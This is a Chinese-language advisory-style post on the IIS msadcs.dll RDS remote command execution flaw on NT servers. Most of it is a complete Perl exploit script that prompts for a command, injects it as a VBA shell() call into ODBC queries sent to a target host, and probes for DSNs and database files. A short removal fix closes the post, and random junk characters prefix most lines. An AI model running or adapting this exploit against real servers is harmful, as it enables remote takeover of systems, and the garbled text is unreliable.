IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j3W)5ZX Wy'H4Rg8 涉及程序:
AV0C9a/td Microsoft NT server
1f"LAs`% ![v@+9 描述:
w;;.bz m 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)cMW, F_Q?0 Do0' 详细:
$=?CW( 如果你没有时间读详细内容的话,就删除:
oM@X)6P_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
_l`s}yC 有关的安全问题就没有了。
!*?Ss "o*zZ;>^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
3KF[ v{ u,d@oF(= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
r] +V:l3 关于利用ODBC远程漏洞的描述,请参看:
<V3N!H_d Z]I[?$y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm t^=6czk }a(x
L'F 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Y2DR
oQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp NY5?T0/[ K,>D%mJ 这里不再论述。
?5%|YsJP_ {&'u1y R 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
%#.HFK 4DL;/Z: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
T4\F=iw4 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
=Of!1TR( *N0R3da b ;Vy=f #将下面这段保存为txt文件,然后: "perl -x 文件名"
$?l? Ba$Ibq,r/ #!perl
#K3A{
jb, #
w/KCuW< # MSADC/RDS 'usage' (aka exploit) script
{5f?y\Z #
#Fua^]n # by rain.forest.puppy
}NMkL l]J #
[8k7-}[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B}.G(-u?7 # beta test and find errors!
2Et7o/\< k-LB %\p use Socket; use Getopt::Std;
Tm8c:S^uq) getopts("e:vd:h:XR", \%args);
^oFg5 ):.
+u= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S.9ki< qp-/S^% if (!defined $args{h} && !defined $args{R}) {
#-9;Hn4x print qq~
C^@~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
R~,*W1G6sF -h <host> = host you want to scan (ip or domain)
gJNp]I2R -d <seconds> = delay between calls, default 1 second
kq[*q-:"x -X = dump Index Server path table, if available
hCX}* -v = verbose
W*q[f!@ -e = external dictionary file for step 5
[TPr OBF2?[V~ Or a -R will resume a command session
%bnDxCj" eZ]4,,m ~; exit;}
P5+FZzQ OT_w<te $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#'Q_eBX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tQy@d_a=y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
cS98%@DR if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Azrc+ k $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_MZqH8 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Xj;nh?\u 7Q<xC if (!defined $args{R}){ $ret = &has_msadc;
mAk@Q|u die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.1u"16_ <;d?E%` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Kq|L:Z . "cmd /c ";
GM6Y`iU $in=<STDIN>; chomp $in;
a*d>WN.;U $command="cmd /c " . $in ;
%f.(^<Gu DRLX0Ml]\ if (defined $args{R}) {&load; exit;}
eKlh }v 0k I.dX) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`Jh> 1l &try_btcustmr;
TxYxB1C) VJM n5v[V print "\nStep 2: Trying to make our own DSN...";
L;=<d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bQlShVJL JVA JLq print "\nStep 3: Trying known DSNs...";
Mg.xGST &known_dsn;
iHo2=Cz %,rUN+vW print "\nStep 4: Trying known .mdbs...";
t)74( &known_mdb;
NTk"W!<Cl2 {]~b^=qE$ if (defined $args{e}){
uE~? 2G print "\nStep 5: Trying dictionary of DSN names...";
odPq<'V|AY &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[-cYFdt"V B
Mh949; print "Sorry Charley...maybe next time?\n";
w!7f* exit;
?]}1FP xBhfC!AK} ##############################################################################
^'=J'Q c+/SvRx^> sub sendraw { # ripped and modded from whisker
NZ/>nNs sleep($delay); # it's a DoS on the server! At least on mine...
RsS?ibozl my ($pstr)=@_;
SrfDl* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D+/27# die("Socket problems\n");
tY<D\T if(connect(S,pack "SnA4x8",2,80,$target)){
rrei6$H& select(S); $|=1;
NAjK0]SRY print $pstr; my @in=<S>;
T~UKWAKX} select(STDOUT); close(S);
RYDV60*O6 return @in;
\?-`?QPux } else { die("Can't connect...\n"); }}
PNLtpixZ :Vc+/ZyW ##############################################################################
&[}T41 2HBYReQ sub make_header { # make the HTTP request
UBp0;)- my $msadc=<<EOT
Bry\"V"'g POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%N@454enH User-Agent: ACTIVEDATA
8V%(SV Host: $ip
c *(]pM Content-Length: $clen
+Sk ; Connection: Keep-Alive
\+mc az~4sx$+} ADCClientVersion:01.06
XM$r,}B k Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
aDuO!?Cm UUy|/z% --!ADM!ROX!YOUR!WORLD!
0[g8 Content-Type: application/x-varg
zp>q$e40 Content-Length: $reqlen
R_ojK&% b>AFhj : EOT
KwOn<0P ; $msadc=~s/\n/\r\n/g;
dV<|ztv return $msadc;}
;Y#~2eYCz bNR}Mk]? ##############################################################################
~WK>+T,% 4(MZ*6G]? sub make_req { # make the RDS request
,KF>PoySA my ($switch, $p1, $p2)=@_;
? &ew$% my $req=""; my $t1, $t2, $query, $dsn;
]Kb 3!^5a%u if ($switch==1){ # this is the btcustmr.mdb query
]%m0PU# $query="Select * from Customers where City=" . make_shell();
.WA(X5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
ZKyK#\v< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$Ml/=\EHOg PA;RUe elsif ($switch==2){ # this is general make table query
Fn*clx< $query="create table AZZ (B int, C varchar(10))";
't
\:@-tQ $dsn="$p1";}
,9gyHQ~ TOV531
elsif ($switch==3){ # this is general exploit table query
>}h/$bU $query="select * from AZZ where C=" . make_shell();
MNO T<( $dsn="$p1";}
ce&)djC7U Me[T=Tt`@w elsif ($switch==4){ # attempt to hork file info from index server
Ub%+8M $query="select path from scope()";
C)/uX5 $dsn="Provider=MSIDXS;";}
Wq8Uq}~_g t0p^0 elsif ($switch==5){ # bad query
=]yJvn" $query="select";
Q4r)TR , $dsn="$p1";}
GQoaBO. B\1F $t1= make_unicode($query);
g<O*4
]= $t2= make_unicode($dsn);
-Y%#z'^- $req = "\x02\x00\x03\x00";
,/{mRw% $req.= "\x08\x00" . pack ("S1", length($t1));
a?K= $req.= "\x00\x00" . $t1 ;
sY!PXD0Q $req.= "\x08\x00" . pack ("S1", length($t2));
KHKf+^u u $req.= "\x00\x00" . $t2 ;
x(h(a#,r $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
HJ]\VP9Zb return $req;}
i /R8Gb O`U&0lKi' ##############################################################################
f m.-*`ax oX@nWQBc_ sub make_shell { # this makes the shell() statement
utKtxLX" return "'|shell(\"$command\")|'";}
cAIMt]_ #>dfP"}&, ##############################################################################
e~jw
YImA 'WkDpa sub make_unicode { # quick little function to convert to unicode
di}YHMTx my ($in)=@_; my $out;
~aa`Y0Ws], for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
RekTWIspT/ return $out;}
-8; ,# 1tU}}l ##############################################################################
2 628 c` Fyoy)y* sub rdo_success { # checks for RDO return success (this is kludge)
@$z/=g sy my (@in) = @_; my $base=content_start(@in);
S',i if($in[$base]=~/multipart\/mixed/){
Xjc{={@p3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'CsD[< return 0;}
Q3,`'[ F _@jBz"aq\ ##############################################################################
_ In[Z?P} 6?Ul)' sub make_dsn { # this makes a DSN for us
C#[YDcp4 my @drives=("c","d","e","f");
ivsp):W print "\nMaking DSN: ";
=XsdR?C foreach $drive (@drives) {
m{Jo'*%8f print "$drive: ";
y^_'g2H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
,$@nbS{Q] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
od!"?F . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|\"vHt?@G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_;",7bT80 return 0 if $2 eq "404"; # not found/doesn't exist
~>zml1aJ6 if($2 eq "200") {
G^]T foreach $line (@results) {
ork/:y9*y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
G=a.Wff } return 0;}
AYHB?xOpR FCTz>N^p ##############################################################################
^:W.R7| !/, 6+2Ru sub verify_exists {
+c#:;&Gs my ($page)=@_;
eYBo* my @results=sendraw("GET $page HTTP/1.0\n\n");
[RG&1~ return $results[0];}
[,)yc/{* De,4r(5 ##############################################################################
Z<6xQTx Vd^_4uqnV sub try_btcustmr {
mz@`*^7? my @drives=("c","d","e","f");
j|!.K|9B my @dirs=("winnt","winnt35","winnt351","win","windows");
JCZ"#8M3 &x19]?D"+ foreach $dir (@dirs) {
/WXy!W30< print "$dir -> "; # fun status so you can see progress
FU/yJy foreach $drive (@drives) {
rRyBGEj print "$drive: "; # ditto
d)`XG cx{= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"H\'4'hg $reqlenlen=length( "$reqlen" );
0o2o]{rM{2 $clen= 206 + $reqlenlen + $reqlen;
`'9Kj9} @sv==|h my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H S/1z if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Tyt:Abym= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g9(zJ 4Z>hP]7
##############################################################################
t]LCe\# |j53'>N[ sub odbc_error {
-Qx:-,.a my (@in)=@_; my $base;
B
MU@J my $base = content_start(@in);
0:UK)t)3I if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
c n#JO^8 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'bp*hqG[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xxOo8+kA $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HVaWv ]. return $in[$base+4].$in[$base+5].$in[$base+6];}
9k =-8@G9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;V]EF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
WLGx=
; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.CH0PK=l 9{@ #tx ##############################################################################
;m$F~!Y =t1.j=oC
sub verbose {
d
(]t} my ($in)=@_;
3)v6N_ return if !$verbose;
X||Z>w}v print STDOUT "\n$in\n";}
OJ$169@; X_|W#IM*+ ##############################################################################
6He 7A@Eh 2/S~l;x sub save {
qp
(ng8%c my ($p1, $p2, $p3, $p4)=@_;
x'*,~u open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+F q`I2l| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f2Frb
close OUT;}
SvC|"-[mJ xExy?5H7 ##############################################################################
-dbD&8 [tDUR sub load {
M"[s5=:Lo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B% !z7AT open(IN,"<rds.save") || die("Couldn't open rds.save\n");
6$[7t?u @p=<IN>; close(IN);
Bmuf[-}QW $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
9], ;i7c $target= inet_aton($ip) || die("inet_aton problems");
3;=nQ{0b print "Resuming to $ip ...";
h+F@apUS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2f\;#- if($p[1]==1) {
:/fG %e $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
x][vd^iW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1BQTvUAA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2%\Nq:;T if (rdo_success(@results)){print "Success!\n";}
=1t#$JG else { print "failed\n"; verbose(odbc_error(@results));}}
_l]`Og@Y elsif ($p[1]==3){
'Ht$LqG if(run_query("$p[3]")){
dgPJte%i print "Success!\n";} else { print "failed\n"; }}
]4SnOSV?S elsif ($p[1]==4){
e'aKI]>a if(run_query($drvst . "$p[3]")){
:0>wm@qCQ print "Success!\n"; } else { print "failed\n"; }}
4S|! iOY exit;}
])h={gI ;AKtbS;H ##############################################################################
B[7|]"L@ ,}F2l|x_ sub create_table {
*FDz20S my ($in)=@_;
):?ype> $reqlen=length( make_req(2,$in,"") ) - 28;
TN3, \qgV $reqlenlen=length( "$reqlen" );
T.="a2iS2 $clen= 206 + $reqlenlen + $reqlen;
8}h ^Frh my @results=sendraw(make_header() . make_req(2,$in,""));
h-h U=I8 return 1 if rdo_success(@results);
hKjvD.6]% my $temp= odbc_error(@results); verbose($temp);
FV^CSaN[R return 1 if $temp=~/Table 'AZZ' already exists/;
;`g\T u return 0;}
o+{}O_r 3=~"<f
l ##############################################################################
-H~g+i*J vai.",b=n6 sub known_dsn {
{;^booq # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Us.yKAHPV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`Yp\.K z "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
HRi~TZ?\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
$+Ke$fq.> 0$l=ME( foreach $dSn (@dsns) {
`*PVFm> print ".";
FW&P`Iu next if (!is_access("DSN=$dSn"));
x^_Wfkch] if(create_table("DSN=$dSn")){
Pa2HFy2 print "$dSn successful\n";
\@nmM&7C!4 if(run_query("DSN=$dSn")){
B5Rm z& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:xZ/c\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
]3hz{zqV^ I=&5m g=m ##############################################################################
_v4TyJ _=B(jJZ sub is_access {
?@Z~i]gE[V my ($in)=@_;
5)V]qV$
$reqlen=length( make_req(5,$in,"") ) - 28;
evsH>hE^ $reqlenlen=length( "$reqlen" );
`
_()R`= $clen= 206 + $reqlenlen + $reqlen;
q:#,b0|bv my @results=sendraw(make_header() . make_req(5,$in,""));
D
h ]+HF my $temp= odbc_error(@results);
$1oU^VY verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>`=
'~y8 return 0;}
FOpOS?Cr' w<j6ln+nM ##############################################################################
;+K:^*oJ kac@yQD sub run_query {
@;_r`AT7 my ($in)=@_;
DU$]e1 $reqlen=length( make_req(3,$in,"") ) - 28;
&w:"e'FG` $reqlenlen=length( "$reqlen" );
K @"m0 $clen= 206 + $reqlenlen + $reqlen;
|tz1'YOB my @results=sendraw(make_header() . make_req(3,$in,""));
},0fPkVsU return 1 if rdo_success(@results);
]g3&gw my $temp= odbc_error(@results); verbose($temp);
{>OuxVl??k return 0;}
/MTS>[E i\2MphS ##############################################################################
U
jVo "K aW %ulZ sub known_mdb {
% Z&[wU~ my @drives=("c","d","e","f","g");
k<=.1cFh my @dirs=("winnt","winnt35","winnt351","win","windows");
:BCjt@K} my $dir, $drive, $mdb;
ttLChL my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-Qo`UL.} hU5[k/ q # this is sparse, because I don't know of many
)vOZp& my @sysmdbs=( "\\catroot\\icatalog.mdb",
?yddr`?W "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)z3mS2 "\\system32\\certmdb.mdb",
oe`oUnN "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
T2Cdw\ '1ff| c!x9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
fMwJwMT8 "\\cfusion\\cfapps\\forums\\forums_.mdb",
8kAG EiC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h3aHCr E "\\cfusion\\cfapps\\security\\realm_.mdb",
9?gLi!rd "\\cfusion\\cfapps\\security\\data\\realm.mdb",
8gJ"7,}-' "\\cfusion\\database\\cfexamples.mdb",
/MsXw/], "\\cfusion\\database\\cfsnippets.mdb",
~^"
cNv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;E:ra_l "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?v#t{e0eQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
MR%M[SK1 "\\cfusion\\database\\smpolicy.mdb",
Bcrd}'no "\\cfusion\\database\cypress.mdb",
v[CX-CBZ? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
-x3QgDno "\\website\\cgi-win\\dbsample.mdb",
B;N40d*W "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
cg7NtY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
JoKD6Q1D ); #these are just
sBS\S foreach $drive (@drives) {
B9iH+
]W foreach $dir (@dirs){
T{]Tb= foreach $mdb (@sysmdbs) {
W>dS@;E print ".";
4a>z]&s if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!OPK?7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_.J{U0N if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^w^cYM, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W6&".2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
[:a;|t :~:(49l foreach $drive (@drives) {
Y1{6lhxgE foreach $mdb (@mdbs) {
s?=f,I print ".";
NeCTEe|V if(create_table($drv . $drive . $dir . $mdb)){
M^r1b1tR print "\n" . $drive . $dir . $mdb . " successful\n";
xex/L%!Rj if(run_query($drv . $drive . $dir . $mdb)){
6;dB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
gTW(2?xYf } else { print "Something's borked. Use verbose next time\n"; }}}}
x_v pds }
#$K\:V+ 4 P`[6IS#\S ##############################################################################
#1z}~1- $]\N/}1v sub hork_idx {
j !&g:{ e print "\nAttempting to dump Index Server tables...\n";
+;`Cm.Iu print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/QHvwaW[ $reqlen=length( make_req(4,"","") ) - 28;
o&rejj# $reqlenlen=length( "$reqlen" );
}pPxN@X $clen= 206 + $reqlenlen + $reqlen;
mY(~94{d my @results=sendraw2(make_header() . make_req(4,"",""));
PPDm*,T. if (rdo_success(@results)){
.pu]21m= my $max=@results; my $c; my %d;
`iv,aQ ' for($c=19; $c<$max; $c++){
GUmOK=D > $results[$c]=~s/\x00//g;
+H/^RvUjF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!s\-i6S> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
@`$8rck` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Eo)Q> AM $d{"$1$2"}="";}
dy,,x foreach $c (keys %d){ print "$c\n"; }
T*J]e|aF } else {print "Index server doesn't seem to be installed.\n"; }}
0u
QqPF t Wxb/|?, ##############################################################################
hX$k8 o0 GpN tvo~ sub dsn_dict {
\4~uop,Nb+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ff?:_q+.N while(<IN>){
0mH>fs 4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
oO$a4|&, next if (!is_access("DSN=$dSn"));
#`);UAf if(create_table("DSN=$dSn")){
m$*dPje print "$dSn successful\n";
nW{).
P if(run_query("DSN=$dSn")){
h<6@&yzp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?t'O\n)M print "Something's borked. Use verbose next time\n";}}}
j9) Z'L print "\n"; close(IN);}
^=pn!lK;^ F_zs"ex/ ##############################################################################
`t{aN|3V[ +MGEO+ sub sendraw2 { # ripped and modded from whisker
@4T+0&OI10 sleep($delay); # it's a DoS on the server! At least on mine...
vxZvK0b620 my ($pstr)=@_;
'RTz*CSZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZR6KE_ die("Socket problems\n");
e {N8|l if(connect(S,pack "SnA4x8",2,80,$target)){
,;O+2TX print "Connected. Getting data";
4punJg~1 open(OUT,">raw.out"); my @in;
t 4{{5U'\ select(S); $|=1; print $pstr;
i~n>dc YW while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
u <%,Ql close(OUT); select(STDOUT); close(S); return @in;
(3%NudkwT } else { die("Can't connect...\n"); }}
\.9-:\'( %z`bu2 ##############################################################################
<{3VK :I+%v sub content_start { # this will take in the server headers
lk%rE
my (@in)=@_; my $c;
3vHEPm] for ($c=1;$c<500;$c++) {
O>Xyl4U if($in[$c] =~/^\x0d\x0a/){
J ;i/X;^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`+\+ else { return $c+1; }}}
+<"sC+2 return -1;} # it should never get here actually
9-Qub+0o IpB0~`7YI ##############################################################################
|mc!v*O Y2yVl+ sub funky {
,N<xyx. my (@in)=@_; my $error=odbc_error(@in);
6S2D\Bt,_ if($error=~/ADO could not find the specified provider/){
"So+ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`Q,moz exit;}
Qi w "x, if($error=~/A Handler is required/){
*9`@ print "\nServer has custom handler filters (they most likely are patched)\n";
]{0
2! exit;}
Zc{at}{ if($error=~/specified Handler has denied Access/){
{O]Cj~} print "\nServer has custom handler filters (they most likely are patched)\n";
DKF`uRvGN: exit;}}
-wW%+wH U5Q `r7 ##############################################################################
7$\;G82_ wX<)Fj' sub has_msadc {
bv4lgRE6Y my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
cmZ39pjBJ my $base=content_start(@results);
^ bexXYh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
W.HM!HQp return 0;}
,+oQ 5c(f Hb#8?{ ########################
Mf<Pms\F 5WP)na6" \6T&gX 解决方案:
H8mmmt6g 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
J3oH^ 2、移除web 目录: /msadc